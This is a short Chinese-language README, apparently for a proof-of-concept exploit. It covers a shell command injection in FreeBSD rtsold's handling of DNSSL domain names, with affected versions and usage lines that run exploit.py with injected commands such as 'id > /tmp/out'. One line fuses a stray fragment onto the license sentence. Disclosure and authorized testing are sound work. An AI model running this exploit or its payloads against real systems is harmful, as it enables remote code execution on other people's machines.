FreeBSD rtsold DNSSL 命令注入(RCE)
rtsold(8) 在将 DNSSL 域名传递给 resolvconf(8) 之前,未对其中的 shell 元字符进行验证。通过 $() 进行的命令替换使得相邻网络可执行远程代码。
受影响版本:2025-12-16 之前的 FreeBSD 13.x、14.x、15.x
sudo python3 exploit.py -i eth0 # touch /tmp/pwned
sudo python3 exploit.py -i eth0 -p 'id > /tmp/out' # 自定义命令
ACCEPT_RTADV 的 rtsold本项目根据 GNU GPLv3 许可证发布。
本项目仅供防御性安全研究、教育和授权测试使用。未经所有者明确许可,请勿将此代码用于任何系统或服务。
未经授权的使用可能违反适用法律。作者不授予对第三方系统进行测试的许可,并且不对滥用行为负责。
有关保修和责任条款,请参阅 LICENSE 文件。
致谢:Kevin Day